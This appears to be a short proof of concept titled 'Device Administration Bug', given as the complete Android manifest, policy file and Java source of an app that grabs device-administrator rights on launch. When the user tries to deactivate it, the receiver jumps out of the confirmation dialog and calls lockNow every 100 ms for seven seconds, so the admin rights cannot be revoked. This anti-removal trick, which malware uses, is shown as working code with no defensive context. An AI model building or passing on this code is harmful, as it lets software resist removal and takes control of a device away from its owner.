Device Administration Bug

AndroidManifest

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="me.x2bab.deviceadmintrick" >

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >

        <activity
            android:name=".WhatTheHell"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <receiver
            android:name=".MyDeviceReceiver"
            android:description="@string/receiver_description"
            android:label="@string/app_name"
            android:permission="android.permission.BIND_DEVICE_ADMIN">

            <meta-data
                android:name="android.app.device_admin"
                android:resource="@xml/device_manager_policies" />

            <intent-filter>
                <!--此处必须设定该Action，不设定则无法启动设备管理器，之前版本可启动但看不到的bug已被修复-->
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>

        </receiver>
    </application>

</manifest>

device_manager_policies

<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-policies>
        <force-lock />
    </uses-policies>
</device-admin>

MyDeviceReceiver

import android.app.admin.DeviceAdminReceiver;
import android.app.admin.DevicePolicyManager;
import android.content.Context;
import android.content.Intent;

public class MyDeviceReceiver extends DeviceAdminReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        super.onReceive(context, intent);
    }

    @Override
    public CharSequence onDisableRequested(Context context, Intent intent) {

        //跳离当前询问是否取消激活的 dialog
        Intent outOfDialog = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
        outOfDialog.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        context.startActivity(outOfDialog);

        //调用设备管理器本身的功能，每 100ms 锁屏一次，用户即便解锁也会立即被锁，直至 7s 后
        final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
        dpm.lockNow();
        new Thread(new Runnable() {
            @Override
            public void run() {
                int i = 0;
                while (i < 70) {
                    dpm.lockNow();
                    try {
                        Thread.sleep(100);
                        i++;
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            }
        }).start();

        return "";
    }

}

WhatTheHell

import android.app.Activity;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;


public class WhatTheHell extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_what_the_hell);

        Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
        ComponentName deviceComponentName = new ComponentName("me.x2bab.deviceadmintrick",
                "me.x2bab.deviceadmintrick.MyDeviceReceiver");
        intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, deviceComponentName);
        this.startActivity(intent);
    }

}